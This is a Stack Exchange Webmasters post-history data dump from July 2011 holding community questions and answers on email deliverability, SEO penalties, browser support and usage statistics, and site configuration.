  <row Id="40868" PostHistoryTypeId="2" PostId="17038" RevisionGUID="ba311db2-6b67-4f33-ab69-ea2d82e043f2" CreationDate="2011-07-18T14:40:17.823" UserId="8935" Text="At Pro webmaster i searched issue with related to Spammed Domain List  for Sending Emials which endup in Spam box in Google .I found the link some thing like below ,&#xD;&#xA;&#xD;&#xA;[how-could-i-prevent-my-mail-from-being-recognized-as-spam][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3728/how-could-i-prevent-my-mail-from-being-recognized-as-spam%22how-could-i-prevent-my-mail-from-being-recognized-as-spam&#xD;&#xA;&#xD;&#xA;which says the  Reasons for Domain listed as spam and i hardly found any solution to come out that problem for Domain Which was Affected .&#xD;&#xA;&#xD;&#xA;In My Scenario , The mails Form My Domain is From Last few days are landing in SPAM box in Google where rest like Yahoo /msn/rediff is OK . Even The Plain Text Mail is going to SPAM Which is some thing surprise to me . I tried  to found out the solutions overcome this problem &#xD;&#xA;but no body  giving exact steps to follow to solve this issue .&#xD;&#xA;&#xD;&#xA; I request fellow members not to close this as Duplicate ,if you read my problem you can understand that the\is thread is all about  steps to solve the issue of SPAM not the reasons. If You Found similar questions please let me know or else try to answer my Question .    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="40869" PostHistoryTypeId="1" PostId="17038" RevisionGUID="ba311db2-6b67-4f33-ab69-ea2d82e043f2" CreationDate="2011-07-18T14:40:17.823" UserId="8935" Text="my domain Emails are marked as SPAM in gmail ?? How to Solve this issue" />
  <row Id="40870" PostHistoryTypeId="3" PostId="17038" RevisionGUID="ba311db2-6b67-4f33-ab69-ea2d82e043f2" CreationDate="2011-07-18T14:40:17.823" UserId="8935" Text="&lt;web-development&gt;&lt;spam&gt;&lt;spam-prevention&gt;&lt;spamming&gt;" />
  <row Id="40872" PostHistoryTypeId="17" PostId="17040" RevisionGUID="e532ceea-37cc-4ad8-a44b-92f4eaf740d4" CreationDate="2011-07-18T14:52:07.623" UserId="-1" Comment="from http://stackoverflow.com/questions/6720875/how-to-recover-my-inclusion-in-google-results-after-being-penalized-for-receiving" Text="" />
  <row Id="40873" PostHistoryTypeId="17" PostId="17041" RevisionGUID="d879cbe7-61cf-4f48-b93e-589987fa0db7" CreationDate="2011-07-18T14:52:07.623" UserId="-1" Comment="from http://stackoverflow.com/questions/6720875/how-to-recover-my-inclusion-in-google-results-after-being-penalized-for-receiving" Text="" />
  <row Id="40874" PostHistoryTypeId="17" PostId="17042" RevisionGUID="17c8617d-e408-4f60-9da1-b5d83925807b" CreationDate="2011-07-18T14:52:07.623" UserId="-1" Comment="from http://stackoverflow.com/questions/6720875/how-to-recover-my-inclusion-in-google-results-after-being-penalized-for-receiving" Text="" />
  <row Id="40875" PostHistoryTypeId="2" PostId="17041" RevisionGUID="8dbf64f0-4272-4cc7-9206-f0b8c534900a" CreationDate="2011-07-17T00:02:56.257" UserDisplayName="Ivan" Text="You should ask for it to google through [Google Webmaster Tool][1]  (first you must register your site, then ask for the reconsideration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools" />
  <row Id="40876" PostHistoryTypeId="2" PostId="17042" RevisionGUID="d8fc6aeb-0524-45e4-ba39-efa0a1c83435" CreationDate="2011-07-18T03:57:06.270" UserDisplayName="Urban Scurry" Text="I would clean up the spam and then ask for a reconsideration. I would also drop the auto post option add a quality bot spam filter." />
  <row Id="40877" PostHistoryTypeId="2" PostId="17040" RevisionGUID="492df752-9c2a-43f4-8bfc-aeca12ceeb97" CreationDate="2011-07-16T23:12:21.270" UserDisplayName="UXdesigner" Text="My website had very high search engine results, especially in Google.&#xD;&#xA;But I left the website for a couple of months and didn't notice the comments were full of SPAM, about 20k comments of SPAM. Then i checked my google results and I'm out of google !&#xD;&#xA;After years of having good results, no spam, how can I now recover from that?&#xD;&#xA;The spam problem has been solved completely. No more spam, and the website is very legit and very nice.&#xD;&#xA;&#xD;&#xA;Well, at least I think I was penalized, I don't see any other reason.&#xD;&#xA;" />
  <row Id="40878" PostHistoryTypeId="1" PostId="17040" RevisionGUID="492df752-9c2a-43f4-8bfc-aeca12ceeb97" CreationDate="2011-07-16T23:12:21.270" UserDisplayName="UXdesigner" Text="How to recover my inclusion in google results after being penalized for receiving comment spam?" />
  <row Id="40879" PostHistoryTypeId="3" PostId="17040" RevisionGUID="492df752-9c2a-43f4-8bfc-aeca12ceeb97" CreationDate="2011-07-16T23:12:21.270" UserDisplayName="UXdesigner" Text="&lt;search&gt;&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="40880" PostHistoryTypeId="2" PostId="17043" RevisionGUID="a6d4a085-9bd0-42b2-a2d2-0c9c4560f8b5" CreationDate="2011-07-18T14:54:51.753" UserId="7994" Text="I have built an e-commerce app but I didn't have a lot of time so I decided to build the app compatible with cutting-edge browsers.&#xD;&#xA;&#xD;&#xA;so of the features are not working and some them are working less attractively on older browsers.&#xD;&#xA;&#xD;&#xA;do you thing it is a good idea to recommend browser type on a e-commerce web site? for example like below;&#xD;&#xA;&#xD;&#xA;&gt; Poo Corporation recommends latest version of Google Chrome&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40881" PostHistoryTypeId="1" PostId="17043" RevisionGUID="a6d4a085-9bd0-42b2-a2d2-0c9c4560f8b5" CreationDate="2011-07-18T14:54:51.753" UserId="7994" Text="Is it a good idea to recommend browser on a e-commerce web site" />
  <row Id="40882" PostHistoryTypeId="3" PostId="17043" RevisionGUID="a6d4a085-9bd0-42b2-a2d2-0c9c4560f8b5" CreationDate="2011-07-18T14:54:51.753" UserId="7994" Text="&lt;web-development&gt;&lt;javascript&gt;&lt;browsers&gt;&lt;jquery&gt;&lt;cross-browser&gt;" />
  <row Id="40883" PostHistoryTypeId="2" PostId="17044" RevisionGUID="67c9eae5-10d1-4b6e-8048-432fbf1568d6" CreationDate="2011-07-18T15:00:02.610" UserId="5806" Text="[PHP][1] is the most used by far. The fact the entire stack is free helps but it gained its popularity because of the ease of integration. It is extremely easy combine static HTML with PHP or even add features to a static side.&#xD;&#xA;&#xD;&#xA;There is also a huge volume of general-purpose platforms written in PHP. Think that every Wordpress-Powered blog or site is a PHP site. There are tons more and plenty of others are hugely popular.&#xD;&#xA;&#xD;&#xA;It turns out that the most popular is different from the most used depending how you count. For very large and complex sites, people tend to prefer something more structured such as Python, Java and C++. Often, the largest sites will use a combination of languages.&#xD;&#xA;&#xD;&#xA;For historical reasons, certain languages get adopted at different rates depending on the domain. For example, after PHP, content sites often use Python. Banking and service sites are more likely to use Java. C++ and assembly is often used to boost performance in key areas but I have not seen any (there probably are some though) written entirely using these.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net" />
  <row Id="40884" PostHistoryTypeId="2" PostId="17045" RevisionGUID="0b115cf0-6856-4079-9598-966fdf840dcb" CreationDate="2011-07-18T15:07:38.370" UserId="9032" Text="Well, I would test all major browsers and their older version (IE7, IE8, etc.) and I would note those that don't seem to best render your website. Then, I will simply write a piece of code that would only show browser recommendation for those that fall in the category of browser that don't render the pages appropriatly. &#xD;&#xA;&#xD;&#xA;I also believe that suggesting to update the browser is a better practice than suggesting a browser. Most people prefer stability and they don't want to learn to use a new browser." />
  <row Id="40885" PostHistoryTypeId="2" PostId="17046" RevisionGUID="380bcfad-996c-4936-832e-4435b8c384c5" CreationDate="2011-07-18T15:08:29.537" UserId="5806" Text="A browser recommendation is usually a **Do Not Enter** sign. Unless you have an extremely popular service with unique features, it is *extremely unlikely that people will change browsers for you*. Therefore they are highly likely to simply leave.&#xD;&#xA;&#xD;&#xA;**This does not mean you have to write code that works perfectly for every browser.** In a support page somewhere you can have a list of tested browsers. Only people seriously interested in your service and experiencing problems will end up there. Those are more likely to listen to you.&#xD;&#xA;&#xD;&#xA;The best thing to do is to look at your stats and see which browsers are most used to access your service. You should support at least 80% of visitors, I recommend 90% even but that depends on the difficulties you may have to support certain features on less common browsers (some of them may be fairly new even).&#xD;&#xA;" />
  <row Id="40887" PostHistoryTypeId="5" PostId="17032" RevisionGUID="eb49c6ed-6ec9-4391-86f0-ff634c07697d" CreationDate="2011-07-18T15:14:36.587" UserId="7198" Comment="added netcraft data point" Text="TIOBE publish a [monthly league table](http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html) of the most popular programming languages. The four you mention are currently ranked in the following order:&#xD;&#xA;&#xD;&#xA;1. Java&#xD;&#xA;2. C#&#xD;&#xA;3. PHP&#xD;&#xA;4. Python&#xD;&#xA;&#xD;&#xA;Note that the TIOBE tables are based on an algorithm that tries to determine the number of lines of code written in each language every month using results from the major search engines, so they're not necessarily an indication of the number of *websites* using those programming languages, but it probably gives a fair indication.&#xD;&#xA;&#xD;&#xA;What it doesn't take into account is the number of websites deployed using off-the-shelf blogging packages and CMS such as WordPress etc. If it were possible to count the number of active websites using each programming language, I suspect PHP would come slightly higher than the popularity table suggests.&#xD;&#xA;&#xD;&#xA;Netcraft also surveys millions of sites every month to determine what server platform they use. The latest results available to date ([July 2011](http://news.netcraft.com/archives/2011/07/08/july-2011-web-server-survey.html)) won't give you a precise indication of the underlying programming language (only the web server), but it serves as a useful reference point:&#xD;&#xA;&#xD;&#xA;![popular web servers across all domains, as surveyed by netcraft][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Data on programming language use among active websites is very hard to come by, largely because it's not always obvious from generated code and server responses which language is being used. As such, it's hard to tell what language a site's written in without asking.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/mLF2U.png" />
  <row Id="40888" PostHistoryTypeId="2" PostId="17048" RevisionGUID="7b1e5f50-e1e9-4b4b-8627-b28da435fd44" CreationDate="2011-07-18T15:19:31.453" UserId="9032" Text="I think you should write a disclaimer cause I certainly see arising problems in writing blog about science articles. These are protected under copyright and if you are to write something without authors' permission you could get into trouble. Even more since you are also a scientific author." />
  <row Id="40889" PostHistoryTypeId="17" PostId="17049" RevisionGUID="0f40ef9d-46c3-4acd-9c2b-e42b08fa6ad9" CreationDate="2011-07-18T15:23:53.970" UserId="-1" Comment="from http://stackoverflow.com/questions/6728069/google-site-question" Text="" />
  <row Id="40890" PostHistoryTypeId="2" PostId="17049" RevisionGUID="dceeb82a-df51-474f-89b8-d3c1bee8da03" CreationDate="2011-07-18T02:03:41.977" UserDisplayName="user849238" Text="I am building a google site. When I click a picture as a link, the picture highlights when I don't want it to highlight, how do I stop the picture from highlighting when I click it to make a link." />
  <row Id="40891" PostHistoryTypeId="1" PostId="17049" RevisionGUID="dceeb82a-df51-474f-89b8-d3c1bee8da03" CreationDate="2011-07-18T02:03:41.977" UserDisplayName="user849238" Text="Google site question" />
  <row Id="40892" PostHistoryTypeId="3" PostId="17049" RevisionGUID="dceeb82a-df51-474f-89b8-d3c1bee8da03" CreationDate="2011-07-18T02:03:41.977" UserDisplayName="user849238" Text="&lt;google&gt;&lt;sites&gt;" />
  <row Id="40893" PostHistoryTypeId="17" PostId="17050" RevisionGUID="4cdff7f4-c587-473a-ad8c-2a308ee97eff" CreationDate="2011-07-18T15:24:19.103" UserId="-1" Comment="from http://stackoverflow.com/questions/6731627/what-is-the-best-browser-usage-statistics-source" Text="" />
  <row Id="40894" PostHistoryTypeId="17" PostId="17051" RevisionGUID="3a9fabe4-c62f-4f46-b9e6-656054f434ea" CreationDate="2011-07-18T15:24:19.103" UserId="-1" Comment="from http://stackoverflow.com/questions/6731627/what-is-the-best-browser-usage-statistics-source" Text="" />
  <row Id="40895" PostHistoryTypeId="2" PostId="17051" RevisionGUID="471b3855-857c-442c-b9a9-b0a6f8ed0feb" CreationDate="2011-07-18T11:10:04.363" UserId="9239" UserDisplayName="Ryan" Text="Wikipedia provides an updated browser statistics summary that includes the top sources and median of these sources:&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Usage_share_of_web_browsers#Summary_table&#xD;&#xA;&#xD;&#xA;For most uses, the wikipedia **median** is probably your **best estimate** for accurate browser statistics.  &#xD;&#xA;  &#xD;&#xA;---&#xD;&#xA;Each of the main browser stats providers are not 100% reliable because they all use a relatively small set of web sites that may lead to a biased sample set of users. Depending on what criteria is important or how 'most of web usage' is defined, different stats may be more useful." />
  <row Id="40896" PostHistoryTypeId="2" PostId="17050" RevisionGUID="eb830aac-a5d2-4a3e-b81f-64912b79626c" CreationDate="2011-07-18T10:35:53.267" UserId="9728" UserDisplayName="Marek Sebera" Text="I wonder about what source of &lt;b&gt;browser usage statistics&lt;/b&gt; is most reliable and updated.&#xD;&#xA;&#xD;&#xA;I've been using &#xD;&#xA;&#xD;&#xA; - [Google Analytics][1] (with use of my analytics enabled pages)&#xD;&#xA; - [W3 Counter][2]&#xD;&#xA; - [Stat Counter][3]&#xD;&#xA;&#xD;&#xA;but they are too different (one from each other), that I cannot say they are very reliable.&#xD;&#xA;&#xD;&#xA;Which source do you think can cover most of web usage to provide such data?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics&#xD;&#xA;  [2]: http://www.w3counter.com/globalstats.php&#xD;&#xA;  [3]: http://gs.statcounter.com/" />
  <row Id="40897" PostHistoryTypeId="1" PostId="17050" RevisionGUID="eb830aac-a5d2-4a3e-b81f-64912b79626c" CreationDate="2011-07-18T10:35:53.267" UserId="9728" UserDisplayName="Marek Sebera" Text="What is the best browser usage statistics source?" />
  <row Id="40898" PostHistoryTypeId="3" PostId="17050" RevisionGUID="eb830aac-a5d2-4a3e-b81f-64912b79626c" CreationDate="2011-07-18T10:35:53.267" UserId="9728" UserDisplayName="Marek Sebera" Text="&lt;browsers&gt;&lt;statistics&gt;&lt;google-analytics&gt;" />
  <row Id="40899" PostHistoryTypeId="25" PostId="17043" RevisionGUID="1579cd85-1ecc-42fd-8e4a-5368075b6298" CreationDate="2011-07-18T15:31:45.773" Comment="http://twitter.com/#!/StackWebmasters/status/92979879510941696" />
  <row Id="40900" PostHistoryTypeId="2" PostId="17052" RevisionGUID="765dfd94-15c0-429c-981d-506acb44d687" CreationDate="2011-07-18T15:33:38.590" UserId="8354" Text="I do not know **exact** reasons why StackExchange sites do have ID before slug, but here is why I would have it this way:&#xD;&#xA;&#xD;&#xA;Sometimes URL can be truncated (intentionally (too long to store in DB etc) or by mistake (happens quite often when copy-paste)) .. and if ID is before slug, the server/script can still recognize the page you want but with ID at the end it most likely will not.&#xD;&#xA;&#xD;&#xA;Try URL of this page -- remove last few characters and submit -- server will redirect you to the correct URL (*apparently the code behind this site has **special treatment** for such scenario*). With ID at the end you possibly would see completely different question (the most common behaviour in such case).. or just error page (when server/script ensures that slug matches ID).&#xD;&#xA;&#xD;&#xA;With regards to SEO effect -- see this question: http://webmasters.stackexchange.com/questions/16641/seo-urls-best-place-for-the-id" />
  <row Id="40902" PostHistoryTypeId="5" PostId="16934" RevisionGUID="f00c8bfb-7fdb-46fe-9f43-dab21e52596d" CreationDate="2011-07-18T15:46:59.457" UserId="1714" Comment="added concrete Performance Monitor counter info" Text=" 1.   **How can I evaluate what connection speed I'll need for a particular project?**&#xD;&#xA; - You could estimate `expected concurrent user count` * `expected traffic per user` -- for a site with 200 KB pages and 100 users accessing simultaneously you will need at most 20 MB of bandwidth (of course you need to take into account that page processing also takes time and that **very rarely** do the 100 users request a page in the same momemt; but you get the idea&#xD;&#xA; 4.   **What sort of projects need large connection speeds, and what sort will be fine on smaller ones?**&#xD;&#xA; - I would say the more media content your server delivers the more bandwidth you'll need - although this is probably a scenario for CDN usage; apart from that a high user count will demand high bandwidth&#xD;&#xA; 5.   **What are the signs that I need to upgrade to a server with a faster connection speed?**&#xD;&#xA; - On Windows Server systems you can use the `Performance Monitor`: go to `Add Counter` -&gt; `Network Interface` -&gt; `Bytes sent/sec` and choose the network interface of your choice or simply `&lt;All instances&gt;`. This will give you the real numbers.&#xD;&#xA;" />
  <row Id="40903" PostHistoryTypeId="2" PostId="17053" RevisionGUID="a5a90817-201a-4908-bb48-98814c72d86e" CreationDate="2011-07-18T15:50:33.980" UserId="7198" Text="[Netmarketshare](http://www.netmarketshare.com/browser-market-share.aspx?spider=1&amp;qprid=0) offers an estimate of browser share, based on data from around 11,000 partners.&#xD;&#xA;&#xD;&#xA;However, No browser usage source covers &quot;most of web usage&quot;, as you put it. All sites that report browser use simply publish their own (or partners') browser usage statistics, which are unlikely to cover anything more than a very small percentage of Web users.&#xD;&#xA;&#xD;&#xA;**As such, it's best to evaluate browser support on a site-by-site basis.**&#xD;&#xA;&#xD;&#xA;Use the browser statistics of the website that you're developing for to determine whether or not you should support a particular browser, not the browser stats of other websites.&#xD;&#xA;&#xD;&#xA;If you're building a new site or you don't have access to user browser data, support as many browsers as you have the time and expertise to develop for, and start collecting visitor data to build a better picture of your audience as soon as you can." />
  <row Id="40904" PostHistoryTypeId="5" PostId="17053" RevisionGUID="c52a3584-2bcb-405d-bfd7-f57a43f9ce62" CreationDate="2011-07-18T16:12:05.697" UserId="7198" Comment="typo" Text="[Netmarketshare](http://www.netmarketshare.com/browser-market-share.aspx?spider=1&amp;qprid=0) offers an estimate of browser share, based on data from around 11,000 partners.&#xD;&#xA;&#xD;&#xA;However, no browser usage source covers &quot;most of web usage&quot;, as you put it. All sites that report browser use simply publish their own (or partners') browser usage statistics, which are unlikely to cover anything more than a very small percentage of Web users.&#xD;&#xA;&#xD;&#xA;**As such, it's best to evaluate browser support on a site-by-site basis.**&#xD;&#xA;&#xD;&#xA;Use the browser statistics of the website that you're developing for to determine whether or not you should support a particular browser, not the browser stats of other websites.&#xD;&#xA;&#xD;&#xA;If you're building a new site or you don't have access to user browser data, support as many browsers as you have the time and expertise to develop for, and start collecting visitor data to build a better picture of your audience as soon as you can." />
  <row Id="40905" PostHistoryTypeId="5" PostId="17038" RevisionGUID="94e64f8d-404d-4d5f-8081-49f57cd8956e" CreationDate="2011-07-18T16:26:58.843" UserId="1643" Comment="Fixed typos" Text="At pro webmasters I searched for an issue which relates to spammed domain list for sending emails which end up in the Spam box in Gmail. I found the link something like below:&#xD;&#xA;&#xD;&#xA;[how-could-i-prevent-my-mail-from-being-recognized-as-spam][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3728/how-could-i-prevent-my-mail-from-being-recognized-as-spam%22how-could-i-prevent-my-mail-from-being-recognized-as-spam&#xD;&#xA;&#xD;&#xA;which says the reasons for the domain being listed as spam and I hardly found any solutions to come out that problem for the domain which was affected.&#xD;&#xA;&#xD;&#xA;In my scenario the mails from my domain from the last few days are landing in SPAM box in Google whereas the rest like Yahoo /msn/rediff are OK. Even the plain text emails are going to SPAM Which is something of a surprise to me. I tried to find out the solutions overcome this problem but nobody gives exact steps to follow to solve this issue.&#xD;&#xA;&#xD;&#xA;I request fellow members not to close this as duplicate, if you read my problem you can understand that this thread is all about steps to solve the issue of SPAM not the reasons. If you find similar questions please let me know or else try to answer my question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="40906" PostHistoryTypeId="5" PostId="16946" RevisionGUID="a55503cf-4325-40a0-a81f-b3c680cd466f" CreationDate="2011-07-18T16:30:36.130" UserId="9002" Comment="clarification" Text="I have recently enabled SSL on my site, now my google ads cause some browsers to complain about unsecured content (because Google Ads are served over http). Are there any ad networks that serve ads over SSL?" />
  <row Id="40907" PostHistoryTypeId="6" PostId="16946" RevisionGUID="a55503cf-4325-40a0-a81f-b3c680cd466f" CreationDate="2011-07-18T16:30:36.130" UserId="9002" Comment="clarification" Text="&lt;advertising&gt;&lt;ssl&gt;" />
  <row Id="40908" PostHistoryTypeId="2" PostId="17054" RevisionGUID="625d4e79-13dc-415d-aa05-be42537ceade" CreationDate="2011-07-18T16:35:24.087" UserId="6415" Text="i want to have facebook comments + my own website comments on my site.&#xD;&#xA;&#xD;&#xA;The thing is when showing posts i want to show a comment count next to every single one(so my comments + facebook comments).&#xD;&#xA;I know i can achieve this with https://graph.facebook.com/comments/?ids={PAGE_URL} but i have 100posts per page and i don't want to do this query a 100 times per page, also and more important is that i want to create a most commented widget where i currently have 1/4 of a million (250000) posts.&#xD;&#xA;&#xD;&#xA;So basically my question is how i can access sort of a database on all comments left on my domain/site and sort them, that is manipulate them?&#xD;&#xA;&#xD;&#xA;Any help is great!&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="40909" PostHistoryTypeId="1" PostId="17054" RevisionGUID="625d4e79-13dc-415d-aa05-be42537ceade" CreationDate="2011-07-18T16:35:24.087" UserId="6415" Text="Facebook fb:comments Graph API" />
  <row Id="40910" PostHistoryTypeId="3" PostId="17054" RevisionGUID="625d4e79-13dc-415d-aa05-be42537ceade" CreationDate="2011-07-18T16:35:24.087" UserId="6415" Text="&lt;facebook&gt;&lt;api&gt;&lt;comments&gt;" />
  <row Id="40913" PostHistoryTypeId="25" PostId="17050" RevisionGUID="1f36cd74-856b-42e0-b5bd-389198d4ae1c" CreationDate="2011-07-18T18:31:45.773" Comment="http://twitter.com/#!/StackWebmasters/status/93025177457266688" />
  <row Id="40914" PostHistoryTypeId="2" PostId="17056" RevisionGUID="e3eebfae-e159-4dde-8a1b-1039b626d4e8" CreationDate="2011-07-18T18:53:30.560" UserId="7575" Text="Self explanatory question. If you have a fresh new site which is not yet indexed by google. Is it okey to start with link building or i should wait to google index my site? " />
  <row Id="40915" PostHistoryTypeId="1" PostId="17056" RevisionGUID="e3eebfae-e159-4dde-8a1b-1039b626d4e8" CreationDate="2011-07-18T18:53:30.560" UserId="7575" Text="Is it okey to start link building before my site get indexed?" />
  <row Id="40916" PostHistoryTypeId="3" PostId="17056" RevisionGUID="e3eebfae-e159-4dde-8a1b-1039b626d4e8" CreationDate="2011-07-18T18:53:30.560" UserId="7575" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="40917" PostHistoryTypeId="2" PostId="17057" RevisionGUID="c431a397-d611-4e64-b36c-f5a10610e2cc" CreationDate="2011-07-18T19:01:03.443" UserId="1253" Text="Of course. In fact it can help you get indexed as Google will follow those links to your site. Also, if you can get quality links to your pages, it will encourage Google to index your pages quicker and more frequently." />
  <row Id="40918" PostHistoryTypeId="17" PostId="17058" RevisionGUID="9f80195c-8cbb-4c9c-a60d-cb435abbaed2" CreationDate="2011-07-18T19:42:27.907" UserId="-1" Comment="from http://stackoverflow.com/questions/6733559/multilingual-and-seo-urls-best-practice" Text="" />
  <row Id="40919" PostHistoryTypeId="2" PostId="17059" RevisionGUID="c1be360e-9a29-4265-9fde-6d1ff26873f6" CreationDate="2011-07-18T13:31:33.833" UserId="1253" Text="See [Working with multi-regional websites by Google][1]. It covers this in detail.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="40920" PostHistoryTypeId="2" PostId="17058" RevisionGUID="d6e550dd-e2a2-4eb3-aa59-2da12f54efc6" CreationDate="2011-07-18T13:23:12.490" UserDisplayName="Staffan Estberg" Text="What would you recommend as a URL structure for setting up a multilingual site when optimizing for SEO?&#xD;&#xA;&#xD;&#xA;I'm thinking:&#xD;&#xA;&#xD;&#xA;    www.yoursite.com/en/some-category/some-article/&#xD;&#xA;    www.yoursite.com/sv/en-kategori/en-artikel/ (Swedish)&#xD;&#xA;&#xD;&#xA;Or would you prefer creating a subdomain (i.e. `sv.yoursite.com`) or similar instead?&#xD;&#xA;&#xD;&#xA;From what I know it seems easier integrating a `/language/` directory when in combination with .htaccess." />
  <row Id="40921" PostHistoryTypeId="1" PostId="17058" RevisionGUID="d6e550dd-e2a2-4eb3-aa59-2da12f54efc6" CreationDate="2011-07-18T13:23:12.490" UserDisplayName="Staffan Estberg" Text="Multilingual and SEO URLs - best practice?" />
  <row Id="40922" PostHistoryTypeId="3" PostId="17058" RevisionGUID="d6e550dd-e2a2-4eb3-aa59-2da12f54efc6" CreationDate="2011-07-18T13:23:12.490" UserDisplayName="Staffan Estberg" Text="&lt;htaccess&gt;&lt;seo&gt;&lt;multilingual&gt;" />
  <row Id="40923" PostHistoryTypeId="17" PostId="17059" RevisionGUID="1a1690ed-f91c-4bf9-a8df-1aede6d69edf" CreationDate="2011-07-18T19:42:27.907" UserId="-1" Comment="from http://stackoverflow.com/questions/6733559/multilingual-and-seo-urls-best-practice" Text="" />
  <row Id="40927" PostHistoryTypeId="2" PostId="17061" RevisionGUID="559e6ef4-90e6-4cc5-ba37-aad0e946b7bd" CreationDate="2011-07-18T19:54:17.503" UserId="9031" Text="Disclaimers are not legally binding anyway.  Having a disclaimer does little to protect you from a lawsuit.  Not having one does nothing.   &#xD;&#xA;&#xD;&#xA;As long as you write responsibly then few judges are going to allow a case like this against you since the reader is the one who made the changes.  But a disclaimer gives them an easy out to just toss the case.  &#xD;&#xA;&#xD;&#xA;Chances are the average user is not going to prevail in court should you choose to fight it.  But the disclaimer might save you the hassle in the first place, or reduce your out of pocket expenses should someone decide to sue you anyway." />
  <row Id="40928" PostHistoryTypeId="5" PostId="16941" RevisionGUID="716b5f18-7b84-4d40-b696-08ad4a7dbde0" CreationDate="2011-07-18T20:38:55.513" UserId="5806" Comment="Situation Update" Text="There has been a significant drop (40%) in traffic from Google to one of my well-established sites (6+ years) in the last four days. So I did searches for my top keywords as I do weekly and found that the top-3 had all dropped 2 places from last week (one of them now last spot on page #1). Needless to say I feel panic starting :(&#xD;&#xA;&#xD;&#xA;There has been no major changes during this period or the last month on the site and certainly not in the homepage which has dropped rank. There has been new content added weekly or so, as it has for the last years. I am aware there are [200 factors for ranking][1] but the question is **what are steps to figure out what caused the drop?** If it is my fault? Or, someone else's fault?&#xD;&#xA;&#xD;&#xA;Over all the years of running this site and plenty of others, I have never experienced this. There are no duplicate content on my site and I have rigorously used canonical links for the last few years to ensure it is not misinterpreted as such.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Seems like we are in a free-fall. For our top keywords there was another 2-4 spot drop between yesterday and today. For secondary keywords, we have no results showing in the first 10 PAGES while previously being on the first 90% of the time.&#xD;&#xA;&#xD;&#xA;Searching for very specific article titles, we do not appear at all in results but there are some tiny blogs (not affiliated) or two in the results which points to our article. **In sum, we are almost entire out of the index it seems. Could this be a penalty of some kind? How can I find out?**&#xD;&#xA;&#xD;&#xA;**EDIT 2**&#xD;&#xA;&#xD;&#xA;PageRank dropped from 4 to 0... and we are almost completely out of search results. Even exact phrases from my site do not show results. This appears to a penalty, I found the [relevant question][2] and the site falls within the upper box of the diagnostics chart. That is, a search for 'site:thesite.com' only returns the homepage. Will try to revert changes but it is completely unclear if penalties get automatically reversed after reverting any content.&#xD;&#xA;&#xD;&#xA;Is there a way to diagnose external factors?&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/11327/googles-200-ranking-factors&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/15376/how-to-check-if-my-site-was-penalized-by-google" />
  <row Id="40929" PostHistoryTypeId="25" PostId="17056" RevisionGUID="8a82e8be-e1a3-45a6-9a50-4485510ea704" CreationDate="2011-07-18T21:31:45.680" Comment="http://twitter.com/#!/StackWebmasters/status/93070476410241024" />
  <row Id="40930" PostHistoryTypeId="2" PostId="17062" RevisionGUID="f3a0efb8-3fcd-47ea-ad3e-744fdd0e1109" CreationDate="2011-07-18T23:41:43.077" UserId="9038" Text="Can I get a table for a metric (ex: visitors, pageviews) for a specific list (imported as .xls, .csv or .xml) of pages from a Google Analytics tracked website? " />
  <row Id="40931" PostHistoryTypeId="1" PostId="17062" RevisionGUID="f3a0efb8-3fcd-47ea-ad3e-744fdd0e1109" CreationDate="2011-07-18T23:41:43.077" UserId="9038" Text="Displaying metrics for a list of specific pages from a website" />
  <row Id="40932" PostHistoryTypeId="3" PostId="17062" RevisionGUID="f3a0efb8-3fcd-47ea-ad3e-744fdd0e1109" CreationDate="2011-07-18T23:41:43.077" UserId="9038" Text="&lt;web-development&gt;&lt;google-analytics&gt;&lt;analytics&gt;&lt;website-analytics-tools&gt;" />
  <row Id="40933" PostHistoryTypeId="5" PostId="17062" RevisionGUID="7ae001aa-4121-4a32-ac72-0dfa26edfa54" CreationDate="2011-07-18T23:47:27.583" UserId="1253" Comment="modified tags" Text="Can I get a table for a metric (ex: visitors, pageviews) for a specific list (imported as .xls, .csv or .xml) of pages from a Google Analytics tracked website?  " />
  <row Id="40934" PostHistoryTypeId="6" PostId="17062" RevisionGUID="7ae001aa-4121-4a32-ac72-0dfa26edfa54" CreationDate="2011-07-18T23:47:27.583" UserId="1253" Comment="modified tags" Text="&lt;google-analytics&gt;" />
  <row Id="40935" PostHistoryTypeId="2" PostId="17063" RevisionGUID="87fb6d2b-e399-4991-899e-65f2c39e8632" CreationDate="2011-07-19T01:47:19.850" UserId="9039" Text="I have 2 domains http://foo.com and a http://bar.com. bar.com is just a domain alias for foo.com so they have the same content. Results for both domains show up on google, I'd rather all google results point to foo.com. I've tried looking for this option in google webmaster tools but can't find it. How do I do this?" />
  <row Id="40936" PostHistoryTypeId="1" PostId="17063" RevisionGUID="87fb6d2b-e399-4991-899e-65f2c39e8632" CreationDate="2011-07-19T01:47:19.850" UserId="9039" Text="Consolidating google results for 2 domains with the same content" />
  <row Id="40937" PostHistoryTypeId="3" PostId="17063" RevisionGUID="87fb6d2b-e399-4991-899e-65f2c39e8632" CreationDate="2011-07-19T01:47:19.850" UserId="9039" Text="&lt;search-engines&gt;&lt;domain-names&gt;&lt;google-webmaster-tools&gt;&lt;multiple-domains&gt;" />
